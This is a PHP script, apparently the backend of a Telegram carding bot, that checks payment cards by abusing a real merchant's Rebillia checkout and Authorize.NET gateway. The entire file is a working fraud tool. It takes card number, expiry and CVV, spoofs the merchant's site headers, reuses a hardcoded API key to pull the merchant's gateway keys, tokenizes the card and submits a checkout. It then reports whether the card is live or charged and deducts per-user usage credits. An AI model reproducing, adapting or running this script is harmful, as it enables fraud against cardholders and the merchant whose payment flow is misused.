<?php
// Authorize.NET + Rebillia Checker API
// Author: Aerithia Check Bot
// Description: 3-stage card checker via Authorize.NET tokenization + Rebillia checkout

header('Content-Type: text/plain; charset=utf-8');

// Database configuration
$servername = "localhost";
$username = "root";
$password = "";
$dbname = "checkerbotdb3";

// Get parameters
$card = isset($_GET['card']) ? $_GET['card'] : '';
$chatid = isset($_GET['chatid']) ? $_GET['chatid'] : '';

// Validate parameters
if (empty($card) || empty($chatid)) {
    die("ERROR: Missing parameters. Usage: ?card=CARD|MM|YY|CVV&chatid=CHATID");
}

// Parse card data
$card_parts = explode('|', $card);
if (count($card_parts) != 4) {
    die("ERROR: Invalid card format. Use: CARD|MM|YY|CVV");
}

list($card_number, $exp_month, $exp_year, $cvv) = $card_parts;

// Validate card number (must be 16 digits)
if (!preg_match('/^\d{15,16}$/', $card_number)) {
    die("ERROR: Invalid card number");
}

// Format expiry (ensure 2 digits for month, 4 digits for year)
$exp_month = str_pad($exp_month, 2, '0', STR_PAD_LEFT);
if (strlen($exp_year) == 2) {
    $exp_year = '20' . $exp_year;
}

// Validate CVV
if (!preg_match('/^\d{3,4}$/', $cvv)) {
    die("ERROR: Invalid CVV");
}

// Database functions
function getCurrentLimit($chatid) {
    global $servername, $username, $password, $dbname;
    try {
        $conn = new PDO("mysql:host=$servername;dbname=$dbname", $username, $password);
        $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        
        $stmt = $conn->prepare("SELECT authnetlimit FROM users WHERE chatid = :chatid");
        $stmt->bindParam(':chatid', $chatid);
        $stmt->execute();
        
        $result = $stmt->fetch(PDO::FETCH_ASSOC);
        return $result ? (int)$result['authnetlimit'] : 0;
    } catch(PDOException $e) {
        return 0;
    }
}

function decrementLimit($chatid) {
    global $servername, $username, $password, $dbname;
    try {
        $conn = new PDO("mysql:host=$servername;dbname=$dbname", $username, $password);
        $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        
        $stmt = $conn->prepare("UPDATE users SET authnetlimit = authnetlimit - 1 WHERE chatid = :chatid AND authnetlimit > 0");
        $stmt->bindParam(':chatid', $chatid);
        $stmt->execute();
        
        return true;
    } catch(PDOException $e) {
        return false;
    }
}

// Check limit
$current_limit = getCurrentLimit($chatid);
if ($current_limit <= 0) {
    die("ERROR: Insufficient authnet limit");
}

// Decrement limit immediately
decrementLimit($chatid);
$remaining_limit = $current_limit - 1;

// Start timing
$start_time = microtime(true);

// Generate random cardholder name
$cardholder = "John Doe";

// ======================
// STAGE 1: Get Merchant Credentials from Rebillia
// ======================

$cart_id = '940448a9-1e3a-402c-afcc-39f4fcafcc85';
$timestamp = round(microtime(true) * 1000);

$optimized_url = "https://app.rebillia.com/customers/optimizedpaymentform?cart_id={$cart_id}&_={$timestamp}";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $optimized_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Accept: application/json, text/javascript, */*; q=0.01',
    'apikey: d4fed98bda79cbba0e12',
    'Origin: https://homecare.stryker.com',
    'Referer: https://homecare.stryker.com/',
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36'
]);

$response1 = curl_exec($ch);
$http_code1 = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code1 != 200 || empty($response1)) {
    $elapsed = number_format(microtime(true) - $start_time, 1);
    echo "❌ Gateway Error | {$card_number}|{$exp_month}|{$exp_year}|{$cvv} ({$elapsed}s) 𝐋𝐢𝐦𝐢𝐭:{$remaining_limit} 𝐀𝐔𝐓𝐇𝐍𝐄𝐓 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot";
    exit;
}

$opt_data = json_decode($response1, true);
if (!isset($opt_data['data']['gateway_merchant_id']) || !isset($opt_data['data']['gateway_public_key'])) {
    $elapsed = number_format(microtime(true) - $start_time, 1);
    echo "❌ Gateway Error | {$card_number}|{$exp_month}|{$exp_year}|{$cvv} ({$elapsed}s) 𝐋𝐢𝐦𝐢𝐭:{$remaining_limit} 𝐀𝐔𝐓𝐇𝐍𝐄𝐓 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot";
    exit;
}

$merchant_name = $opt_data['data']['gateway_merchant_id'];
$client_key = $opt_data['data']['gateway_public_key'];

// ======================
// STAGE 2: Tokenize Card with Authorize.NET
// ======================

$auth_url = "https://api2.authorize.net/xml/v1/request.api";

// Generate token ID
$token_id = sprintf(
    '%04x%04x-%04x-%04x-%04x-%012x',
    mt_rand(0, 0xffff),
    mt_rand(0, 0xffff),
    mt_rand(0, 0xffff),
    mt_rand(0, 0xffff),
    mt_rand(0, 0xffff),
    mt_rand(0, 0xffffffffffff)
);

$auth_payload = [
    'securePaymentContainerRequest' => [
        'merchantAuthentication' => [
            'name' => $merchant_name,
            'clientKey' => $client_key
        ],
        'data' => [
            'type' => 'TOKEN',
            'id' => $token_id,
            'token' => [
                'cardNumber' => $card_number,
                'expirationDate' => $exp_month . $exp_year,
                'cardCode' => $cvv,
                'fullName' => $cardholder
            ]
        ]
    ]
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $auth_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($auth_payload));
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Accept: */*',
    'Content-Type: application/json; charset=UTF-8',
    'Origin: https://homecare.stryker.com',
    'Referer: https://homecare.stryker.com/',
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36'
]);

$response2 = curl_exec($ch);
$http_code2 = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code2 != 200 || empty($response2)) {
    $elapsed = number_format(microtime(true) - $start_time, 1);
    echo "❌ Token Error | {$card_number}|{$exp_month}|{$exp_year}|{$cvv} ({$elapsed}s) 𝐋𝐢𝐦𝐢𝐭:{$remaining_limit} 𝐀𝐔𝐓𝐇𝐍𝐄𝐓 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot";
    exit;
}

// Remove UTF-8 BOM if present
$response2 = preg_replace('/^\xEF\xBB\xBF/', '', $response2);

$auth_data = json_decode($response2, true);

// Check token response
if (!isset($auth_data['messages']['resultCode']) || $auth_data['messages']['resultCode'] !== 'Ok') {
    // Parse error message
    $error_msg = "Card Declined";
    if (isset($auth_data['messages']['message'][0]['text'])) {
        $error_text = strtolower($auth_data['messages']['message'][0]['text']);
        
        if (strpos($error_text, 'invalid') !== false) {
            $error_msg = "Invalid Card";
        } elseif (strpos($error_text, 'expired') !== false) {
            $error_msg = "Expired Card";
        } elseif (strpos($error_text, 'cvv') !== false || strpos($error_text, 'security code') !== false) {
            $error_msg = "Invalid CVV";
        }
    }
    
    $elapsed = number_format(microtime(true) - $start_time, 1);
    echo "❌ {$error_msg} | {$card_number}|{$exp_month}|{$exp_year}|{$cvv} ({$elapsed}s) 𝐋𝐢𝐦𝐢𝐭:{$remaining_limit} 𝐀𝐔𝐓𝐇𝐍𝐄𝐓 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot";
    exit;
}

// Extract token data
if (!isset($auth_data['opaqueData']['dataDescriptor']) || !isset($auth_data['opaqueData']['dataValue'])) {
    $elapsed = number_format(microtime(true) - $start_time, 1);
    echo "❌ Token Error | {$card_number}|{$exp_month}|{$exp_year}|{$cvv} ({$elapsed}s) 𝐋𝐢𝐦𝐢𝐭:{$remaining_limit} 𝐀𝐔𝐓𝐇𝐍𝐄𝐓 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot";
    exit;
}

$data_descriptor = $auth_data['opaqueData']['dataDescriptor'];
$data_value = $auth_data['opaqueData']['dataValue'];

// ======================
// STAGE 3: Rebillia Checkout
// ======================

$checkout_url = "https://app.rebillia.com/customers/checkout";

$checkout_data = http_build_query([
    'dataDescriptor' => $data_descriptor,
    'dataValue' => $data_value,
    'oid' => '0',
    'checkout_id' => $cart_id,
    'cart_has_subscription' => '0',
    'ip_address' => '176.234.200.226',
    'is_store_credit_applied' => 'false',
    'g_recaptcha_response' => '',
    'name' => $cardholder,
    'ccexp' => $exp_year . '/' . $exp_month
]);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $checkout_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $checkout_data);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Accept: application/json, text/javascript, */*; q=0.01',
    'apikey: d4fed98bda79cbba0e12',
    'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
    'Origin: https://homecare.stryker.com',
    'Referer: https://homecare.stryker.com/',
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36'
]);

$response3 = curl_exec($ch);
$http_code3 = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Calculate elapsed time
$elapsed = number_format(microtime(true) - $start_time, 1);

// Parse response
$response_lower = strtolower($response3);

// Check for specific response patterns
if (strpos($response_lower, 'successful') !== false || strpos($response_lower, 'approved') !== false || strpos($response_lower, 'charged') !== false) {
    echo "✅ Charged Successfully | {$card_number}|{$exp_month}|{$exp_year}|{$cvv} ({$elapsed}s) 𝐋𝐢𝐦𝐢𝐭:{$remaining_limit} 𝐀𝐔𝐓𝐇𝐍𝐄𝐓 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot";
} elseif (strpos($response_lower, 'insufficient') !== false || strpos($response_lower, 'insufficient funds') !== false) {
    echo "✅ Insufficient Funds | {$card_number}|{$exp_month}|{$exp_year}|{$cvv} ({$elapsed}s) 𝐋𝐢𝐦𝐢𝐭:{$remaining_limit} 𝐀𝐔𝐓𝐇𝐍𝐄𝐓 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot";
} elseif (strpos($response_lower, 'authentication') !== false || strpos($response_lower, '3d secure') !== false || strpos($response_lower, '3ds') !== false) {
    echo "✅ 3D Secure Required | {$card_number}|{$exp_month}|{$exp_year}|{$cvv} ({$elapsed}s) 𝐋𝐢𝐦𝐢𝐭:{$remaining_limit} 𝐀𝐔𝐓𝐇𝐍𝐄𝐓 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot";
} elseif (strpos($response_lower, 'declined') !== false || strpos($response_lower, 'card declined') !== false) {
    echo "❌ Card Declined | {$card_number}|{$exp_month}|{$exp_year}|{$cvv} ({$elapsed}s) 𝐋𝐢𝐦𝐢𝐭:{$remaining_limit} 𝐀𝐔𝐓𝐇𝐍𝐄𝐓 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot";
} elseif (strpos($response_lower, 'invalid') !== false) {
    echo "❌ Invalid Card | {$card_number}|{$exp_month}|{$exp_year}|{$cvv} ({$elapsed}s) 𝐋𝐢𝐦𝐢𝐭:{$remaining_limit} 𝐀𝐔𝐓𝐇𝐍𝐄𝐓 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot";
} elseif (strpos($response_lower, 'expired') !== false) {
    echo "❌ Expired Card | {$card_number}|{$exp_month}|{$exp_year}|{$cvv} ({$elapsed}s) 𝐋𝐢𝐦𝐢𝐭:{$remaining_limit} 𝐀𝐔𝐓𝐇𝐍𝐄𝐓 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot";
} elseif (strpos($response_lower, 'cvv') !== false || strpos($response_lower, 'security code') !== false) {
    echo "❌ Invalid CVV | {$card_number}|{$exp_month}|{$exp_year}|{$cvv} ({$elapsed}s) 𝐋𝐢𝐦𝐢𝐭:{$remaining_limit} 𝐀𝐔𝐓𝐇𝐍𝐄𝐓 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot";
} elseif ($http_code3 == 200 && !empty($response3)) {
    // If we got a 200 response but no decline message, consider it a potential hit
    echo "✅ Payment Processed | {$card_number}|{$exp_month}|{$exp_year}|{$cvv} ({$elapsed}s) 𝐋𝐢𝐦𝐢𝐭:{$remaining_limit} 𝐀𝐔𝐓𝐇𝐍𝐄𝐓 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot";
} else {
    echo "❌ Checkout Error | {$card_number}|{$exp_month}|{$exp_year}|{$cvv} ({$elapsed}s) 𝐋𝐢𝐦𝐢𝐭:{$remaining_limit} 𝐀𝐔𝐓𝐇𝐍𝐄𝐓 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot";
}
?>
